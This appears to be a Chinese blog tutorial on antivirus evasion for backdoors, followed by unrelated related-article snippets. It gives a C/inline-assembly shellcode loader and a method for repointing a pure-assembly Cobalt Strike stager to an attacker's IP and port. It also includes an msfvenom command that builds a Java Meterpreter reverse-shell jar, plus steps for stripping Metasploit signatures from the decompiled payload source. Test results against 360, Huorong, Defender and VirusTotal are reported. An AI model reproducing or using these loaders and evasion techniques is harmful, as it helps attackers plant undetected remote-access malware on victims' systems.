免杀对抗—javaASMMSF源码特征修改汇编调用CS内联C

news2024/10/11 14:31:31

前言

今天讲最后的两个语言java和汇编,那么基本所有语言就讲了一个遍了。java在后门免杀这一块呢其实是有点鸡肋的,其它语言编译成的是exe,而java编译成的是jar包,而jar包又得有java环境才能运行,不像exe是个电脑都行。虽说jar包可以转变成exe,但是过程相当麻烦,而且实际利用不太现实,这是因为java的语言特性决定的。汇编相对java来说好一点,但是汇编太底层了,而且网上关于汇编的资料比较少,你想系统学习的难度是比较大的,我只是仅仅懂一点点,所以介绍汇编的时候不会讲太多汇编的知识,基本都是拿别人的源码来用。

实验环境

360,火绒,WD,VT。

内联C混编

这个前面我们讲C++的时候是有讲过一点的,其实就是C和汇编的混合使用。比如说下面这个,就是一个典型的用C调用汇编代码来加载shellcode,当然这个没啥用,直接被杀掉了。

int main() {
	__asm {
	lea eax, buf
	call eax
	}
}

今天就讲一个更为复杂一点的混编,可以看到加载方式明显不一样了,其实就是把上面的功能用更多的代码来取代。

int main() {
    LPVOID lp = GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
    size_t dw_size = sizeof(buf);
    void* exec = NULL;
    __asm
    {
        push 0x40; //可读可写可执行页参数入栈
        push 0x1000; //MEM_COMMIT参数值入栈
        mov eax, dw_size; //定义空间大小
        push eax; //将空间大小入栈
        push 0; //由系统自行决定内存空间起始地址入栈
        mov eax, lp; //移动到virtualAlloc函数地址
        call eax; //运行该函数
        mov exec, eax;//调用地址
    }
    LPVOID op = GetProcAddress(LoadLibraryA("kernel32.dll"), "RtlMoveMemory");
    __asm
    {
        mov eax, dw_size;
        push eax;

        lea eax, buf;
        push eax;
        mov ecx, exec;
        push ecx;
        mov eax, op;
        call eax;
    }
    __asm
    {
        jmp exec;
    }
    return 0;
}

直接测试一下效果吧,火绒被查杀了。

WD又查杀到了。

360也查杀到了。

说明效果还是不行,还得写,不过呢今天的重点也不是这个。

汇编调用CS

我们可以先看一篇大佬的文章,虽然是两年前的文章了,但我们可以学习其中的思路。

奇安信攻防社区-编译汇编代码实现免杀 (butian.net)

正常来说的我们shellcode上线的流程是,生成shellcode—>语言加载运行shellcode—>编译exe运行上线。但是这篇文章的思路呢就是直接跳过了第一步,也就是我不生成shellcode,我已经提前分析好CS上线的原理,然后用汇编代码编写,利用CS的上线原理将shellcode上线。举个例子,国家发行货币—>你有了货币—>使用货币购买东西,但是现在我不需要国家发行货币了,因为我自己知道货币制作的原理和工艺,那么我自己根据原理和工艺去把普通的纸弄成货币去买东西。

从文章可以看到代码全是汇编编写的,要想完全搞懂代码的意思是很难的,要求你有扎实的汇编基础,我们只需知道怎么利用代码即可。

我们关注一下这个代码,从注释中我们可以知道这是IP地址解密,从代码中可以知道是把func5_param这个变量压入栈中。

我们找一下func5_param这个变量,这一串估计就是汇编编写的IP地址了。

这应该是加密过的,因为下面有解密的操作,所以直接转10进制是不行的。我们可以把它编译成exe,然后运行起来看它的进程连接情况,文章说使用masm32这个ida进行编译,在masm32/bin目录下执行文章给的命令即可。

ml /c /coff /Cp 1.asm                #编译为obj文件

link /subsystem:windows 1.obj        #生成exe文件

第一条命令执行后会生成一个1.obj文件。

执行第二条命令生成exe。

我们现在直接运行1.exe来查看它一个连接情况,我们可以看到它是连接到了10.130.4.204的82端口。

结合刚刚汇编代码看到的加密之后的IP,我们不妨大胆猜想一下规律。

利用我们发现的规律,对IP192.168.80.134进行加密然后替换源代码的IP,并且在192,168,80,128主机进行监听82端口,看看是否有连接,记得末尾加00h。

可以看到是成功连接到的了,只不过我这里显示的是计算机名DESKTOP—7FMQMK6而已.

现在IP的问题解决了,再来看看端口的代码,关注这个push语句,把52h这个值压入栈,而且注释也说了是端口,52从16进制转为10进制就是82,和我们刚刚的连接端口对得上。

那么现在把IP改为CS监听的地址,端口改为监听端口不就可以实现上线CS了吗。

还有一点要注意,这里的协议走的是HTTP,我们监听器也要选择http,或者改一下源码。

编译成exe执行,成功上线CS。

测试一下免杀性,WD过不了

火绒静态查杀能过,也可运行上线,但是只要执行命令有交互行为就被查杀了。

360能查杀到。

其实汇编的免杀效果是最好的,因为它是个底层的语言,而且这里源码并没有存在shellcode和加载器,它是分析了CS的上线原理,然后用纯汇编编写的一个代码。至于为啥这里的免杀效果不好,那是因为这是两年前的文章了,现在都2024年了,黄花菜都凉啦。只不过我们可以学习这个思路,然后自己用汇编编写,但是恕我无能为力了,汇编真滴太难了。

Java

说实话这个其实没啥太大的作用,因为Java是个开发语言,打包成的是jar包不是exe。

原生态

先试试原生态的,这里我用MSF生成的jar文件,因为CS生成的是shellcode,不支持生成jar。

msfvenom -p java/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx -f jar -o msf.jar

输入命令直接上线,免杀性不用说,三个都杀了。

java -jar msf.jar

那么现在就是两种情况,一种是对方有Java环境,那么我们就直接上传jar包,如果对方没有Java环境那么我们就把jar包再次打包成exe。所以就有两个思路,一是直接对jar包免杀,二是对打包成的exe进行免杀。

MSF特征源码修改

我们利用jd-gui这个工具对我们的jar包进行反编译,这个是专门反编译class文件的,也可以利用IDA。

反编译后保存,我们来分析一下源码。

可以看到metasploit.dat文件里面保存的是我们的监听端口和监听地址。

MANIFEST.MF文件里面应该是配置文件,版本是1.0,Main-Class呢就是主函数入库指向metasploit.Payload,权限是所有权限,名字是metasploit.dat,指向metasploit/Payload.class。

再看payload.java这个文件,有个main函数,jar包运行就进入里面执行代码。被杀的原因就是无论你咋生成,它反编译后的源码都是一个套路的,所以我们要去改掉它的源码特征。

首先改文件名字,metasploit这个名字傻子都能看出来不是啥好玩意,我们把里面的payload.java这个文件拖出来改为Main.java,把metasploit这个文件夹去掉,metasploit.dat里面的内容去掉,改为config。

MANIFEST.MF配置文件修改如下,test应该是config的,我懒得再截图了。

接下来就是test2.java的源码修改,就是把一些可有可无的代码删除,还有一些文件名替换为我们刚刚修改的文件名。

我们可以看这一部分代码,new Socket新建了一个socket隧道,IP为str4,端口为j。

 我们追踪一下 str4 和 j 这两个参数,可以看到它们的值都是从properties 对象中通过getProperty方法获取的。

继续追踪一下properties这个对象,可以看到properties的值是从inputStream中读取的,而inputStream的值是读取了metasploit.dat文件,这个文件里面的内容就是IP和端口。

由于这涉及了Java方面的开发知识,再加上我不是很懂Java,所以我就直接用别人替换好的源码了,直接修改IP和端口就能用了。

值得注意的是Integer(string)这个函数已经被Java标记为过时了,2022年还可以用,现在随着JDK版本越来越高,已经用不了了,要改为这样写法。

int j = Integer.parseInt("6688");

输入命令封装成class文件,只有class文件才能打包成jar。

javac Main.java

接下来是编译成jar包,在编译成jar包的时候,报了个错,大概的意思是我打包成class文件的环境是java22,但是运行环境只支持java8,然后又更新了java环境,所以就有点麻烦。

jar cvfm wlw.jar META-INF/MANIFEST.MF .

运行起来能接收到,但是不知道为啥会话马上就结束了,我又测试了一下原生态上线也不行,说明不是我们生成的jar包的问题,奇怪明明昨天还行的。

免杀效果还是可以的,360、火绒、WD均没有查杀出来,VT居然没有报。


jar打包成exe

说实话这个其实不太现实,而且很麻烦,用到exe4j和innosetup-6.2.1这两个工具,可以看一下下面博客的文章,说实话,里面有教程,自己照着打包就行,因为是在麻烦且鸡肋我就不搞了。

链接:Java jar打包成exe应用程序的详细步骤_java_脚本之家

总结

基本常见的语言都讲了一遍了,其中提到的技术无论是哪种语言都是通用的,只要你可以把它写得出来。不难看出修改源码特征的免杀效果是比较好的,还有就是不公开或者自己写的shellcode加密脚本,总之无论是对shellcode修改还是加载器,亦或是源码的修改,最终的目的都只是去除后门的特征,逃过杀软。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2205027.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

股市大涨,为什么交易所系统奔溃

最近股市大涨,创造了开盘 35分钟成交量、单日成交量等等突破性历史记录。伴随而来的多家交易所系统奔溃的消息。今天,聊一下,当股市大涨时,交易所系统为何会崩溃。 首先,让我们以股市的角度切入。股市的每一次大涨&am…

YOLOV5改进系列(3)——ECA注意力机制

一、ECA注意力机制介绍、 论文地址:ECA-Net: Efficient Channel Attention for Deep Convolutional Neural Networks | IEEE Conference Publication | IEEE Xplore 1. ECA的本质: ECA是一种通道注意力机制的实现形式,基于SE(Squ…

代码签名证书:守护软件安全与信任的第一道防线

提起软件代码签名证书,可能对大多数人来说比较陌生,但是对于软件开发者来说是一款在软件发布前必不可少的工具。之所以这样说的原因在于,代码签名证书可以有效保障用户和软件开发者的权益。 代码签名证书是数字证书的一种,是专为…

什么是快充协议、支持多协议的USB Type-C受电端取电芯片

随着快充技术的不断发展,传统的慢充模式已经满足不了消费者对充电效率的要求。有了快充技术的支持很大程度的缩短了我们的充电时间,给我们的生活带来了很多便利。 什么是快充协议 快充协议是快充技术的核心,现如今市面上已经有很多种快充协议…

Find My扫描笔|苹果Find My技术与扫描笔结合,智能防丢,全球定位

扫描笔通过扫描技术,直接将图像,表格或者印刷字体等扫描到笔里存储或者直接传送到电脑,进行存储阅读或者编辑修改等操作。其很方便携带,便于移动办公;其主要是用于扫描办公文件,文字、身份证,名…

步步精科技诚邀您参加2024慕尼黑华南电子展

尊敬的客户: 我们诚挚地邀请您参加即将于2024年10月14日至10月16日在深圳国际会展中心 (宝安新馆)举办的慕尼黑华南电子展(electronica South China)。本届将聚焦人工智能、数据中心、新型储能、无线通信、硬件安全、新能源汽车、第三代半导…

7.存储过程中的事务管理(7/10)

1.引言 在现代信息技术快速发展的今天,数据库已经成为存储和管理数据的核心工具。无论是企业级应用、电子商务平台还是个人项目,数据库都扮演着不可或缺的角色。在这些应用中,数据的完整性、一致性和可靠性是至关重要的。这就引出了数据库事…

自动驾驶系列—从速度感知到车身控制:轮速计在自动驾驶中的应用

🌟🌟 欢迎来到我的技术小筑,一个专为技术探索者打造的交流空间。在这里,我们不仅分享代码的智慧,还探讨技术的深度与广度。无论您是资深开发者还是技术新手,这里都有一片属于您的天空。让我们在知识的海洋中…

ViVado HLS 2018.3基本开发流程

1.双击打开软件 2.点击Create New Project 3.输入项目名称和位置 4.Next->Next->Next 5.根据所选的器件创建解决方案 6.添加文件 点击"Source"添加.c/cpp或者.h文件,在TestBench里面添加要测试的文件.c/cpp并且可以包含main函数. led.h #ifndef _SHIFT_LED_H…

IDEA搭建JDK1.8源码调试环境

大家好 下载源码 安装好 JDK 后,源码目录下面有 src.zip 文件,这个文件就是 JDK 的源码 搭建调试环境 新建 Maven 工程,包含以下文件 source:源码文件夹(手动新建)test:单元测试文件夹&…

[C++][第三方库][Websocket]详细讲解

目录 1.Websocket 协议1.介绍2.原理简介 2.Websocketpp1.介绍2.安装 3.常用接口4.使用 1.Websocket 协议 1.介绍 WebSocket是从HTML5开始支持的一种网页端和服务端保持长连接的消息推送机制产生原因: 传统的web程序都是属于"一问一答"的形式 即客户端给…

【王道视频笔记】红黑树的定义和性质

文章目录 关于黑高的结论红黑树的插入 平衡二叉树 AVL:插入/删除 很容易破坏“平衡”特性,需要频繁调整树的形态。如:插入操作导致不平衡,则需要先计算平衡因子,找到最小不平衡子树(时间开销大),再进行 LL/RR/LR/RL 调整 红黑树 R…

极狐GitLab X 某轨道交通控制系统龙头企业,助力业务研发敏捷化

GitLab 是一个全球知名的一体化 DevOps 平台,很多人都通过私有化部署 GitLab 来进行源代码托管。极狐GitLab 是 GitLab 在中国的发行版,专门为中国程序员服务。可以一键式部署极狐GitLab。 学习极狐GitLab 的相关资料: 极狐GitLab 60天专业…

Linux常用应急溯源命令

常用命令 1、账号相关命令 1、查询特权用户特权用户(uid 为0):awk -F: $30{print $1} etc/passwd 2、查询可以远程登录的帐号信息:awk /\$1|\$6/{print $1} etc/shadow 2、程序相关命令 1、查看当前开放端口netstat -tnlp 2、查看当前系统上运行的所…

华为中级认证HCIP知识点总结,建议收藏

01 OSPF知识点 OSPF基本配置,OSPF 5种报文,7种邻居状态,4种网络类型,4种特殊区域,7类LSA,4种link type,标识一条LSA的3个要素,OSPF邻居域邻接关系,单区域,多区…

生成对抗网络GAN——学习笔记

经过大量阅读资料和博客,对GAN的认识和学习做一个记录。个人粗浅的认识,不管是什么模型都离不开最基础的神经网络。主要借鉴的博客内容如下 新型的神经网络模型,从CNN到BERT都有介绍。_最新的神经网络模型-CSDN博客 生成对抗网络——GAN&am…

Open WebUI | 自托管的类 ChatGPT 网站

Open WebUI 是一个扩展性强、功能丰富且用户友好的自托管 WebUI,支持 ChatGPT 网页端的大部分功能,支持各类模型服务,包括 Ollama 和 OpenAI 的 API。该项目在 GitHub 上已有 38k 星,非常受欢迎。 功能介绍 本篇介绍该项目的功能…

(Kafka源码五)Kafka服务端处理消息

Kafka 服务端(Broker)采用 Reactor 的架构思想,通过1 个 Acceptor,N 个 Processor(N默认为3),M 个 KafkaRequestHandler(M默认为8),来处理客户端请求,这种模式结合了多线…

眼镜店会员积分卡系统软件试用版下载 佳易王配镜顾客信息管理系统使用操作教程

一、前言 【软件试用版资源文件下载可以点文章最后卡片了解】 眼镜店会员积分软件是专门为眼镜店设计的管理工具,旨在通过积分活动提升顾客的忠诚度,促进复购率,并优化顾客体验。 眼镜店会员积分卡系统软件试用版下载 佳易王配镜顾客信息管…

WEB攻防-python考点CTF与CMS-SSTI模板注入PYC反编译

知识点: 1、PYC(python编译后的文件)文件反编译; 2、Python-Web-SSTI; 3、SSTI模板注入利用分析; (Server-Side Template Injection) SSTI 就是服务器端模板注入 当前使用的一…